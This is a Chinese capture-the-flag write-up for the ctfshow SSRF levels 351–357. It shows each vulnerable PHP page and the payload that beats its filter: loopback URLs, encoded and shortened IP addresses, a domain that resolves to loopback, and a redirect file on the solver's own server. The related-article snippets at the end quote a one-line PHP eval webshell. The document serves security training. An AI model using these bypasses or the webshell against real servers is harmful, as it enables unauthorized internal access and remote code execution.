ctfshow SSRF 351-357

2024-05-10 02:28
文章标签 ctfshow ssrf 357 351

本文主要是介绍ctfshow SSRF 351-357,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

做题前,需要先学习关于ssrf漏洞的相关知识

SSRF原理(详细)

351.

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

这个代码,就是我们能访问的服务器的源代码,它没有任何绕过,没有任何过滤,我们需要的flag存在于flag.php文件中,但是这个文件是我们可以访问的服务器通过中转的方式,才能获取的,也就是说只有这个服务器可以访问,如果我们直接访问就会出现

明白了,我们将所需要访问的url改为本地访问即可,因为代码在别人的服务器上运行,我们只需要用回环地址,找到flag.php文件即可,post传参进去即可,

url=http://127.0.0.1/flag.php

 352.

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

这个添加了过滤,让我们的伪协议只能是http/https协议,可以杜绝使用file协议等使用了白名单,

后面,他又使用正则表达式,可能是想要过滤localhost和127.0.0,但是他缺少了一个重要的参数,也就是后面需要检查的字符串变量,导致无论如何都可以检查过关,所以忽略不看,通过两个条件,我们可以发现上一个题的payload依旧可以在这一个题上使用,所以做法一样

353.

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

这个代码依然是希望我们使用http/https协议,这里完全匹配了127.0.0.1,同时。也被过滤掉了,这要求我们通过其他方式过滤,这里我们使用进制进行过滤

127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.

354. 

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

这个我们直接看正则表达式,过滤localhost/0/1/。没办法,只能考虑其他办法了,这时有一个DNS解析的方法来了,众所周知,由于ip地址太过难记,所以人们搞出了域名,以十分好记的名称一对一的储存在DNS解析器中,例如人们知道百度的域名baidu.com,但是不记得他的网站ip地址,

对于这个题呢,127.0.0.1这个环回ip的域名除了localhost以外,http(s)/sudo.cc/这个域名的解析是指向127.0.0.1的

 

其它可以参考这篇文章

一些公共 http 域名,但是解析到 127.0.0.1 

亲测有效!!

355.

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

这个的要求就是主机名不能超过5个字符,这里又来一个姿势点,

有关于ip地址的转换,这一篇博客就够了

ip地址进制转化

简单来讲就是,当以4小节储存的ip地址中间两节全为0时,可以酌情省略,其他情况想将ip地址转化为4小节以下的节数时,需要将4节的二进制数均分为2节,或者只要一节,同时进行进制转化,

所以按照规则,127.0.0.1可以写成

  • ping 127.0.0.1
  • ping 127.0.1
  • ping 127.1
  • ping 0x7f.1:十六进制
  • ping 2130706433:十进制

而对于本题来讲,可以直接127.1即可

 

356.

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

这个题进一步压缩长度在3个字符以下,emmm,看来还需要一点新知识......

了解得知,经过省略的ip地址  0   在linux系统中会解析为127.0.0.1,在windows系统中则是0.0.0.0

而对于我们这道题来讲,这种题通常挂在服务器上搭建linux系统,可以用0,试一试,当然,我这里只是试一试,并不是确定了它的操作系统就是linux哈,

我这一试,出来了.66666

好吧,是看别的师傅做的,我也是菜鸟啊,可以原谅

357.

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?> scheme

这个代码主要的判断是FILTER_FLAG_NO_PRIV_RANGEFILTER_FLAG_NO_RES_RANGE

FILTER_FLAG_NO_PRIV_RANGEFILTER_FLAG_NO_RES_RANGE 是标志,用于指示不接受私有地址和保留地址。

FILTER_FLAG_NO_PRIV_RANGEFILTER_FLAG_NO_RES_RANGE 是 PHP 过滤器中的标志(flags),用于过滤 IP 地址。

  1. FILTER_FLAG_NO_PRIV_RANGE:当用于 FILTER_VALIDATE_IP 过滤器时,这个标志会阻止私有地址范围(Private Address Range)的 IP 地址通过验证。私有地址范围包括以下 IP 地址段:

    • 10.0.0.0 到 10.255.255.255
    • 172.16.0.0 到 172.31.255.255
    • 192.168.0.0 到 192.168.255.255
    • FC00::/7 (IPv6)
  2. FILTER_FLAG_NO_RES_RANGE:当用于 FILTER_VALIDATE_IP 过滤器时,这个标志会阻止保留地址范围(Reserved Address Range)的 IP 地址通过验证。保留地址范围包括以下 IP 地址段:

    • 0.0.0.0 到 0.255.255.255
    • 169.254.0.0 到 169.254.255.255
    • 127.0.0.0 到 127.255.255.255
    • 224.0.0.0 到 255.255.255.255
    • ::1 (IPv6)
    • FF00::/8 (IPv6)

这里需要公网ip所以我们需要有自己的服务器来搞定这个事情,创建一个文件

<?php
header("Location:http://127.0.0.1/flag.php"); 

访问即可.

这篇关于ctfshow SSRF 351-357的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/975175

相关文章

ctfshow-爆破(web21-web28)

web21 提交用户和密码后发现没有用户以及密码的值呢  常见的是在post数据中 或者url后传值 但这里都没有 发现http头有一个Authorization字段 值是base64编码后的 解码 原来是将传入的值用冒号分离进行base64编码然后放到了Authorization字段中了 设置变量 增加前缀 增加编码方式 取消选项 记住 只要payload存在一下

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载 域名txt记录泄露 提示:域名其实也可以隐藏信息,比如ctfshow.com 就

CtfShow中的misc17解法

第一步: 首先拿随波逐流打开看看,没发现啥突破点,很正常 第二步:使用kali中的binwalk命令,解析出一个文件夹,打开压缩包后发现没什么东西     第三步:结合题目给的提示,使用tweakpng打开图片进行IDAT合并,combine all iDAt 第四步:继续用binwalk命令来解析,得到一个新的文件夹 ,里面有一个D6E文件,可以直接查看也可以放到Window

ctfshow(web入门-命令执行)-1

1.web29 只有当c参数的值不包含“flag”(区分大小写),才会执行这段代码 $c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);} 只要payload中没有flag即可 先尝试cat (右键源代码)  tail,tac皆可 system("tail fla*"); tac 逆序读  tail 默认读后1

ctfshow之web58~web71

目录 web58 思路一: 思路二:  思路三:    web59~web65 web66~web67  web68~web70 web71 web58 if(isset($_POST['c'])){$c= $_POST['c'];eval($c);}else{highlight_file(__FILE__);} PHP eval() 函数介绍 定义和用法 e

ssrf攻击本地fastcgi漏洞复现

目录 环境:Ubuntu+Nginx+php 代码 开始测试 查看 环境搭建 环境:Ubuntu+Nginx+php 代码 <?phphighlight_file(__FILE__);$url = $_GET['url'];$curl = curl_init($url);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($curl,

ctfhub-web-SSRF(FastCGI协议-DNS重绑定 Bypass)

less-6  FastCGI协议 步骤一:开启环境,查看提示 步骤二:对一句话木马进行base64编码:<?php @eval($_POST[cmd]);?> echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > 1.php 步骤三:利用kali,使用Gopherus工具生成payload: python2 '/ho

CTFhub通关攻略-SSRF篇【1-5关】

01关 内网访问 根据题意,它让我们去尝试访问127.0.0.1的flag.php,我们点进题目链接 有一个url参数可以进行输入,我们直接访问127.0.0.1的flag.php 这样就得到了flag 02 伪协议读取文件 点开题目链接发现有一个url的参数可以进行填写 题中说让我们尝试读取一下Web中的flag.php文件,所以直接访问 Web目录根据Li

ctfhub-web-SSRF(内网访问-上传文件)

www.ctfhub.com less-1  内网访问 步骤一:开启环境,查看提示 步骤二:输入url=http://127.0.0.1/flag.php 得出结果 显示提交成功 less-2  伪协议读取文件 步骤一:开启环境,查看提示 步骤二:输入url=file:///var/www/html/flag.php 出现三个问号,查看源代码 得

SSRF漏洞(服务器端请求伪造)相关案例

目录 前言: 案例:Web-ssrfme 一、redis未授权访问攻击 1.1 进入题目给出源码 1.2 测试ssrf 1.3 查看phpinfo发现主机 1.4 发现服务 1.5 攻击访问 1.6 FLAG 二、redis未授权写入任务计划 2.1 探测开放端口 2.2 导入任务计划 2.3 反弹shell成功 前言: SSRF(Server-Side Requ